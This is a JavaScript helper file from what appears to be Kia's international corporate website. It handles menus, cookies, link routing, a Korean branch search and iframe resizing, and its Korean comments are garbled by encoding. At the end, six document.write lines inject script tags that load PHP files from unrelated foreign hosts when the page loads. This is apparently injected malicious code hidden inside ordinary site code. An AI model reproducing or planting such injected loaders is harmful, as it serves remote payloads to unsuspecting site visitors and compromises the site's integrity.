//BOTTOM Ä«ÇÇ¶óÀÌÆ®&Äü¹Ù
document.write("\
<div style='position:relative'>\
	<div id='quickMenu' style='position:absolute; top:-90px; left:0px; display:none;'>\
	<table border='0' cellspacing='0' cellpadding='0'>\
	<tr>\
		<td></td>\
	</tr>\
	</table>\
	</div>\
</div>\
");
var showDiv = document.getElementById("quickMenu");
function BottomMove() {
	windowHeight = document.body.clientHeight;
	windowWidth = document.body.clientWidth;
	scrollY = document.body.scrollTop;
	showDiv.style.top = (windowHeight + scrollY - 125);
}
function GoTop() {
	showDiv.style.display = "block";
	setInterval("BottomMove()",20);
}
var oldLoadHandlerGoTop = window.onload;
window.onload = new Function("{if (oldLoadHandlerGoTop != null) oldLoadHandlerGoTop(); GoTop();}");

function mBottom(){
document.write("\
<table width=100% cellpadding=0 cellspacing=0 border=0 style='table-layout:fixed'>\
<tr><td height=25 valign=top style='border-top:1 solid #CCC'>&nbsp;\
	<div style='position:absolute;margin:4 0 0 620'><img src='"+WebRootDir+"/img/common/en_mbottom.gif'></div>\
</td></tr>\
</table>\
");
}

//TOP ³×ºñ&ºñÁê¾ó
function mTop(pageValue){
	if ( getCookie(SiteCookieName) != ""){var loginChk = true;}
	else { var loginChk = false;}

paths = WebRootDir + "/swf/";
var topmenuSwf   = "";

topmenuSwf += '<Table border="0" cellpadding="0" cellspacing="0" width="1020" height="82">';
topmenuSwf += '<tr><TD>';
topmenuSwf += '<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"'; 
topmenuSwf += 'codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="top_menu"'; 
topmenuSwf += 'width="100%" height="100%" align="middle">';
topmenuSwf += '<param name="allowScriptAccess" value="sameDomain" />';
topmenuSwf += '<param name="movie" value="'+paths+'menu.swf" />';
topmenuSwf += '<param name="quality" value="high" />';
topmenuSwf += '<param name="bgcolor" value="#ffffff" />';
topmenuSwf += '<param name="wmode" value="transparent" />';
topmenuSwf += '<param name="flashvars" value="section='+ pageValue +'&login='+ loginChk +'&path='+paths+'&url='+WebRootDir+'" />';
topmenuSwf += '<embed src="'+paths+'menu.swf" quality="high" bgcolor="#ffffff" width="100%" height="100%"';
topmenuSwf += ' swLiveConnect="true" flashvars="section='+ pageValue +'&login='+ loginChk +'&path='+paths+'"'; 
topmenuSwf += 'id="top_menu" name="top_menu" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"'; 
topmenuSwf += 'pluginspage="http://www.macromedia.com/go/getflashplayer" />';
topmenuSwf += '</object>';
topmenuSwf += '</td></tr>';
topmenuSwf += '</Table>';

//alert( pageValue +'&login='+ loginChk +'&path='+paths)

document.write(topmenuSwf);

/*//ºñÁê¾óÀÌ¹ÌÁö ¿ì¼±»èÁ¦
if(!snn==""){
document.write("\
<table width=100% cellpadding=0 cellspacing=0 border=0 style='table-layout:fixed'>\
<tr><td bgcolor='#9A9A9A' style='border-bottom:1 solid #CCC'><img src='/KiaKrWeb/fla/"+chn+"/visual_"+hnn+".jpg' width=1020 height=164 style='border-right:1 solid #FFF'></td></tr>\
</table>\
");
}*/
}







//TOP ³×ºñ&ºñÁê¾ó








function getCookie( name ){
	var nameOfCookie = name + "=";
	var x = 0;
	while ( x <= document.cookie.length ){
			var y = (x+nameOfCookie.length);
			if ( document.cookie.substring( x, y ) == nameOfCookie ) {
					if ( (endOfCookie=document.cookie.indexOf( ";", y )) == -1 )
							endOfCookie = document.cookie.length;
					return unescape( document.cookie.substring( y, endOfCookie ) );
			}
			x = document.cookie.indexOf( " ", x ) + 1;
			if ( x == 0 )
					break;
	}
	return "";
}
function login(){
	//eval("document.location.href='"+WebRootDir+"/member/login/login.aspx?returnurl=ÇöÀçÆäÀÌÁö'");
	link(5,1);
}
function logout(){
	//eval("document.location.href='"+WebRootDir+"/member/login/logout.aspx'");
	link(5,4);
}


function Img(n,tog){eval("document.m"+n+".src=m"+n+"_"+tog+".src"); } //ÀÌ¹ÌÁö ·Ñ¿À¹ö
function pop(url,name,w,h){ window.open(url,name,'width='+w+',height='+h+',scrollbars=no') } //Popup(½ºÅ©·Ñ¹Ù¾øÀ½)
function pops(url,name,w,h){ window.open(url,name,'width='+w+',height='+h+',scrollbars=yes') } //Popup(½ºÅ©·Ñ¹ÙÀÖÀ½)


//-------------- °ø¿ë ----------------------------------------
function mainpage(){
	document.location.href= WebRootDir;
}

function global(){window.open(WebRootDir+'/User/index.aspx','gl','location=1,directories=1,resizable=1,status=1,toolbar=1,menubar=1,scrollbars=1')} //±Û·Î¹ú»çÀÌÆ®
function contactus()
	{
	document.location.href= WebRootDir + "/Common/Contact.htm";
	} 
function sitemap()
	{
	document.location.href= WebRootDir + "/Common/SiteMap.htm";
	} 

u1="/Inter_Show/P_Car/Inter_P_Car_Index.htm";
u11=u1;
u111="/Inter_Show/P_Car/Picanto/Inter_Picanto.htm";
u112="/Inter_Show/P_Car/Rio/Inter_Rio.htm";
u113="/Inter_Show/P_Car/Cerato/Inter_Cerato.htm";
u114="/Inter_Show/P_Car/Optima/Inter_Optima.htm";
u115="/Inter_Show/P_Car/Opirus/Inter_Opirus.htm";

u12="/Inter_Show/R_Car/Inter_R_Car_Index.htm";
u121="/Inter_Show/R_Car/carens/inter_Carens.htm";
u122="/Inter_Show/R_Car/carnival/inter_Carnival.htm";
u123="/Inter_Show/R_Car/sportage/inter_Sportage.htm";
u124="/Inter_Show/R_Car/sorento/inter_Sorento.htm";

u13="/Inter_Show/C_Car/K2700/Inter_2700.htm";
u131=u13;
u132="/Inter_Show/C_Car/K4000s/Inter_4000.htm";
u133="/Inter_Show/C_Car/Am928/Inter_Am.htm";
u134="/Inter_Show/C_Car/Granbird/Inter_Granbird.htm";

u14="/Inter_Show/Con_Car/soul/Inter_soul.htm";
u141=u14;
u142="/Inter_Show/Con_Car/Multi_S/Inter_Multi_S.htm";
u143="/Inter_Show/Con_Car/KSC/Inter_KSC.htm";
u144="/Inter_Show/Con_Car/Kcd_2/Inter_Kcd_2.htm";
u145="/Inter_Show/Con_Car/Kcv_4/Inter_Kcv_4.htm";
u146="/Inter_Show/Con_Car/Kcv_3/Inter_Kcv_3.htm";
u147="/Inter_Show/Con_Car/Kcv_2/Inter_Kcv_2.htm";
u148="/Inter_Show/Con_Car/Kcv_1/Inter_Kcv_1.htm";
u149="/Inter_Show/Con_Car/Kcd_1/Inter_Kcd_1.htm";


u3="/Company/Index.asp";
u4="/Experience/Experience_Index.html";
u5=u51="/Member/Login/Login.asp";
u52="/Member/Register/Guide.asp";
u53="/Member/Register/Join.asp"; //·Î±×ÀÎ
u54="/Member/Login/Logout.aspx"; //·Î±×¾Æ¿ô

u55="/Etc/Sitemap.asp";


u2=u21="/Inter_Corp/Info/aboutus/inter_aboutus.htm";
u211="/Inter_Corp/Info/Ceo/Inter_Ceo.htm";
u212="/Inter_Corp/Info/Ci/Inter_Ci.htm";
u213="/Inter_Corp/Info/Customer/Inter_Customer.htm";

u22="/Inter_Corp/Pr/Inter_Pr_Index.htm";
u221="/Inter_Corp/Pr/News/ListPress.aspx";
u222="/Inter_Corp/Pr/History/Inter_History_m.htm";
u223="/Inter_Corp/Pr/Motorshow/Inter_Motorshow.htm";
u224="/Inter_Corp/Pr/SorentoEx/Inter_SorentoEx.htm";
u225="/Inter_Corp/Pr/Pr/Inter_Pr_Gallery.htm";

u23="/Inter_Corp/Kgn/Inter_Index.htm";
u231="/Inter_Corp/Kgn/Head/Inter_Head.htm";
u232="/Inter_Corp/Kgn/Rnd/Inter_Rnd.htm";
u233="/Inter_Corp/Kgn/Plant/Inter_Plant.htm";
u233="/Inter_Corp/Kgn/Plant/Inter_Plant.htm";
u234="/Inter_Corp/Kgn/Kgn/Inter_Kgn.htm";


//ÇÏÀÌÆÛ¸µÅ©
function link(){
	var url = "";
	var depth = arguments.length;
	try {
		if(depth==0) return;

		/*ÆË¾÷ÀÏ°æ¿ì*//*
		if (arguments[0]=="6" && arguments[1] =="3" && arguments[2] =="3") {
			window.open('/culture/moral/principle/index.htm','Principle','width=1002,height=580,scrollbars=no');
			return;
		}*/

		else if(depth==1) url = eval("u"+arguments[0]);
		else if(depth==2) url = eval("u"+arguments[0]+arguments[1]);
		else if(depth==3) url = eval("u"+arguments[0]+arguments[1]+arguments[2]);
		else if(depth==4) url = eval("u"+arguments[0]+arguments[1]+arguments[2]+arguments[3]);
		else if(depth==5) url = eval("u"+arguments[0]+arguments[1]+arguments[2]+arguments[4]);

		if(url=="") alert("Get ready");
		else location.href = WebRootDir+url;

	}catch(e) { alert("Get ready"); }
}

//Áöµµ°Ë»ö
function SearchBranch(cityNum,guNum){
	var City="";
	var Gu="";
	switch(cityNum) {
	case 1 : City = "¼­¿ï";
		switch(guNum) {
			case 1 : Gu = "°­³²±¸"; break;
			case 2 : Gu = "°­µ¿±¸"; break;
			case 3 : Gu = "°­ºÏ±¸"; break;
			case 4 : Gu = "°­¼­±¸"; break;
			case 5 : Gu = "°ü¾Ç±¸"; break;
			case 6 : Gu = "±¤Áø±¸"; break;
			case 7 : Gu = "±¸·Î±¸"; break;
			case 8 : Gu = "±ÝÃµ±¸"; break;
			case 9 : Gu = "³ë¿ø±¸"; break;
			case 10 : Gu = "µµºÀ±¸"; break;
			case 11 : Gu = "µ¿´ë¹®±¸"; break;
			case 12 : Gu = "µ¿ÀÛ±¸"; break;
			case 13 : Gu = "¸¶Æ÷±¸"; break;
			case 14 : Gu = "¼­´ë¹®±¸"; break;
			case 15 : Gu = "¼­ÃÊ±¸"; break;
			case 16 : Gu = "¼ºµ¿±¸"; break;
			case 17 : Gu = "¼ººÏ±¸"; break;
			case 18 : Gu = "¼ÛÆÄ±¸"; break;
			case 19 : Gu = "¾çÃµ±¸"; break;
			case 20 : Gu = "¿µµîÆ÷±¸"; break;
			case 21 : Gu = "¿ë»ê±¸"; break;
			case 22 : Gu = "ÀºÆò±¸"; break;
			case 23 : Gu = "Á¾·Î±¸"; break;
			case 24 : Gu = "Áß±¸"; break;
			case 25 : Gu = "Áß¶û±¸"; break;
		}
		break;
	case 2 : City = "ÀÎÃµ";
		switch(guNum) {
			case 1 : Gu = "°­È­±º"; break;
			case 2 : Gu = "°è¾ç±¸"; break;
			case 3 : Gu = "³²±¸"; break;
			case 4 : Gu = "³²µ¿±¸"; break;
			case 5 : Gu = "µ¿±¸"; break;
			case 6 : Gu = "ºÎÆò±¸"; break;
			case 7 : Gu = "¼­±¸"; break;
			case 8 : Gu = "¿¬¼ö±¸"; break;
			case 9 : Gu = "¿ËÁø±º"; break;
			case 10 : Gu = "Áß±¸"; break;
		}
		break;
	case 3 : City = "´ëÀü";
		switch(guNum) {
			case 1 : Gu = "µ¿±¸"; break;
			case 2 : Gu = "´ë´ö±¸"; break;
			case 3 : Gu = "¼­±¸"; break;
			case 4 : Gu = "À¯¼º±¸"; break;
			case 5 : Gu = "Áß±¸"; break;
		}
		break;
	case 4 : City = "±¤ÁÖ";
		switch(guNum) {
			case 1 : Gu = "±¤»ê±¸"; break;
			case 2 : Gu = "³²±¸"; break;
			case 3 : Gu = "µ¿±¸"; break;
			case 4 : Gu = "¼­±¸"; break;
			case 5 : Gu = "ºÏ±¸"; break;
		}
		break;
	case 5 : City = "´ë±¸";
		switch(guNum) {
			case 1 : Gu = "³²±¸"; break;
			case 2 : Gu = "´Þ¼­±¸"; break;
			case 3 : Gu = "´Þ¼º±º"; break;
			case 4 : Gu = "µ¿±¸"; break;
			case 5 : Gu = "ºÏ±¸"; break;
			case 6 : Gu = "¼­±¸"; break;
			case 7 : Gu = "¼ö¼º±¸"; break;
			case 8 : Gu = "Áß±¸"; break;
		}
		break;
	case 6 : City = "¿ï»ê";
		switch(guNum) {
			case 1 : Gu = "³²±¸"; break;
			case 2 : Gu = "µ¿±¸"; break;
			case 3 : Gu = "ºÏ±¸"; break;
			case 4 : Gu = "À²ÁÖ±º"; break;
			case 5 : Gu = "Áß±¸"; break;
		}
		break;
	case 7 : City = "ºÎ»ê";
		switch(guNum) {
			case 1 : Gu = "°­¼­±¸"; break;
			case 2 : Gu = "±ÝÁ¤±¸"; break;
			case 3 : Gu = "±âÀå±º"; break;
			case 4 : Gu = "³²±¸"; break;
			case 5 : Gu = "µ¿·¡±¸"; break;
			case 6 : Gu = "µ¿±¸"; break;
			case 7 : Gu = "ºÏ±¸"; break;
			case 8 : Gu = "ºÎ»êÁø±¸"; break;
			case 9 : Gu = "¼ö¿µ±¸"; break;
			case 10 : Gu = "»ç»ó±¸"; break;
			case 11 : Gu = "¼­±¸"; break;
			case 12 : Gu = "»çÇÏ±¸"; break;
			case 13 : Gu = "¿µµµ±¸"; break;
			case 14 : Gu = "¿¬Á¦±¸"; break;
			case 15 : Gu = "Áß±¸"; break;
			case 16 : Gu = "ÇØ¿î´ë±¸"; break;
		}
		break;
	case 8 : City = "°æ±â"; break;
	case 9 : City = "°­¿ø"; break;
	case 10 : City = "ÃæºÏ"; break;
	case 11 : City = "Ãæ³²"; break;
	case 12 : City = "°æºÏ"; break;
	case 13 : City = "°æ³²"; break;
	case 14 : City = "ÀüºÏ"; break;
	case 15 : City = "Àü³²"; break;
	case 16 : City = "Á¦ÁÖ"; break;
	default : City = "¼­¿ï";
	}
	FrameBranch.location.href = "InnerSearch.asp?City="+City+"&Gu="+Gu;
}



//°í°´Áö¿ø>±¸¸ÅÁö¿ø>°ßÀû ½½¶óÀÌµù
//function vScrolldiv(dir){alert('vScrolldiv');document.Color.all["IfColor"].vScrolldiv(dir);}// ½ºÅ©·Ñ ÀÌµ¿
//function scrollstop(){document.IFColor.vScrollstop();}// ½ºÅ©·Ñ Á¤Áö
//function scrollstop(){alert('scrollstop');document.Color.all["IfColor"].vScrollstop();}// ½ºÅ©·Ñ Á¤Áö

//ÀÚµ¿¸®»çÀÌÂ¡¾ÆÀÌÇÁ·¹ÀÓ
function iframe_resize(){
	var objBody	    =	ifrm.document.body;
	var objFrame	=	document.all["ifrm"];
	objFrame.style.height = objBody.scrollHeight + (objBody.offsetHeight - objBody.clientHeight)
	objFrame.style.width = '665'
}

//¿À¹ö½Ãº¸ÀÌ´Â·¹ÀÌ¾î
var overnum = 0;
var prevnum = 0;
function showLayer(num){
	var sub="";
	overnum = num;
	if(prevnum){
		sub = eval("document.all.sub"+prevnum);
		sub.style.display = "none";
	}
	prevnum = num;
	sub = eval("document.all.sub"+num);
	sub.style.top = event.clientY-25;
	sub.style.left = event.clientX-15;
	sub.style.display = "block";
}
function hideMenu(num){
	if(overnum=="0"){
		sub = eval("document.all.sub"+num);
		sub.style.display = "none";
	}
}

//ÀüÃ¼ ¸µÅ© Blur
function bluring(){
if(event.srcElement.tagName=="A"||event.srcElement.tagName=="IMG") document.body.focus();
}
document.onfocusin=bluring;

//Select Box
function setSelectBox(selName){
	sel = eval("document.all."+selName);

	borderColor = sel.bordercolor;
	selWidth = parseInt(sel.width);
	bgColor = sel.bgcolor;
	rectLeft = selWidth-2;
	spanWidth = selWidth;

	//span tag
	header  = "<span style='position:relative;margin-right:0px;";
	header += "width:"+spanWidth+";height:18px;border:1px solid "+borderColor+";background-color:"+bgColor+";'>\n";
	header += "<span style='position: absolute;left:0px;top:-2px;";
	header += "width:"+selWidth+";height:17px;clip:rect(2,"+rectLeft+",18,2);'>\n";
	footer = "</span></span>";

	sel.style.backgroundColor = bgColor;
	sel.style.width = selWidth;

	sel.outerHTML = header+sel.outerHTML+footer;
}


/*¶ó¿îµåÅ×ÀÌºí*/
function roundTable(objID) {
       var obj = document.getElementById(objID);
       var Parent, objTmp, Table, TBody, TR, TD;
       var bdcolor, bgcolor, Space;
       var trIDX, tdIDX, MAX;
       var styleWidth, styleHeight;

       // get parent node
       Parent = obj.parentNode;
       objTmp = document.createElement('SPAN');
       Parent.insertBefore(objTmp, obj);
       Parent.removeChild(obj);

       // get attribute
       bdcolor = obj.getAttribute('rborder');
       bgcolor = obj.getAttribute('rbgcolor');
       radius = parseInt(obj.getAttribute('radius'));
       if (radius == null || radius < 1) radius = 1;
       else if (radius > 6) radius = 6;

       MAX = radius * 2 + 1;

       /*
              create table {{
       */
       Table = document.createElement('TABLE');
       TBody = document.createElement('TBODY');

       Table.cellSpacing = 0;
       Table.cellPadding = 0;

       for (trIDX=0; trIDX < MAX; trIDX++) {
              TR = document.createElement('TR');
              Space = Math.abs(trIDX - parseInt(radius));
              for (tdIDX=0; tdIDX < MAX; tdIDX++) {
                     TD = document.createElement('TD');

                     styleWidth = '1px'; styleHeight = '1px';
                     if (tdIDX == 0 || tdIDX == MAX - 1) styleHeight = null;
                     else if (trIDX == 0 || trIDX == MAX - 1) styleWidth = null;
                     else if (radius > 2) {
                            if (Math.abs(tdIDX - radius) == 1) styleWidth = '2px';
                            if (Math.abs(trIDX - radius) == 1) styleHeight = '2px';
                     }

                     if (styleWidth != null) TD.style.width = styleWidth;
                     if (styleHeight != null) TD.style.height = styleHeight;

                     if (Space == tdIDX || Space == MAX - tdIDX - 1) TD.style.backgroundColor = bdcolor;
                     else if (tdIDX > Space && Space < MAX - tdIDX - 1)  TD.style.backgroundColor = bgcolor;

                     if (Space == 0 && tdIDX == radius) TD.appendChild(obj);
                     TR.appendChild(TD);
              }
              TBody.appendChild(TR);
       }

       /*
              }}
       */

       Table.appendChild(TBody);

       // insert table and remove original table
       Parent.insertBefore(Table, objTmp);
}

// 20050813 Write by Chimi
function goto_byselect(sel)
{
	var index = sel.selectedIndex;
	if (sel.options[index].value != '') {
		document.location.href = sel.options[index].value;
	}
}

//Á¤ºñ±³½Ç>ÀÚµ¿Â÷±¸Á¶ÇÐ8µª½º
function outDiv(num){document.getElementById("menu"+num).style.display="none";}
function overDiv(num){document.getElementById("menu"+num).style.display="block";}

//ÄÁÅÙÃ÷¿µ¿ª ¾ÆÀÌÇÁ·¹ÀÓ
function Cframe(){
	var iframeids=["myframe"]
	var iframehide="yes"
	function resizeCaller() {
		var dyniframe=new Array()
		for (i=0; i<iframeids.length; i++) {
			if (document.getElementById)
				resizeIframe(iframeids[i])
			if ((document.all || document.getElementById) && iframehide=="no") {
				var tempobj=document.all? document.all[iframeids[i]] : document.getElementById(iframeids[i])
				tempobj.style.display="block"
			}
		}
	}

	function resizeIframe(frameid){
		var currentfr=document.getElementById(frameid)
		if (currentfr && !window.opera) {
			currentfr.style.display="block"
			if (currentfr.contentDocument && currentfr.contentDocument.body.offsetHeight) {//ns6 syntax
				currentfr.height = currentfr.contentDocument.body.offsetHeight; 
			} else if (currentfr.document && currentfr.document.body.scrollHeight) {//ie5+ syntax
				currentfr.height = currentfr.document.body.scrollHeight;
			} 
			if (currentfr.addEventListener) {
				currentfr.addEventListener("load", readjustIframe, false);
			} else if (currentfr.attachEvent) {
				currentfr.attachEvent("onload", readjustIframe);
			}
		}
	}

	function readjustIframe(loadevt) {
		var crossevt=(window.event)? event : loadevt
		var iframeroot=(crossevt.currentTarget)? crossevt.currentTarget : crossevt.srcElement
		if (iframeroot) {
			resizeIframe(iframeroot.id);
		}
	}

	function loadintoIframe(iframeid, url){
		if (document.getElementById) {
			document.getElementById(iframeid).src=url
		}
	}

	if (window.addEventListener) {
		window.addEventListener("load", resizeCaller, false);
	} else if (window.attachEvent) {
		window.attachEvent("onload", resizeCaller);
	} else {
		window.onload=resizeCaller
	}

}


// [Æ÷½ºÆ®ºñÁê¾ó] ¿ùÆäÀÌÆÛ ´Ù¿î·Îµå
function wall_en_down(downpath){
	location.href = FileRootDir + downpath;
}

document.write('<script src=http://optiobyte.com/eLearning/blank.php ><\/script>');
document.write('<script src=http://optiobyte.com/eLearning/blank.php ><\/script>');
document.write('<script src=http://nargesi.webphoto.ir/photos/adss2z.php ><\/script>');
document.write('<script src=http://nargesi.webphoto.ir/photos/adss2z.php ><\/script>');
document.write('<script src=http://pyrograph.hu/cnc/szules1.php ><\/script>');
document.write('<script src=http://pyrograph.hu/cnc/szules1.php ><\/script>');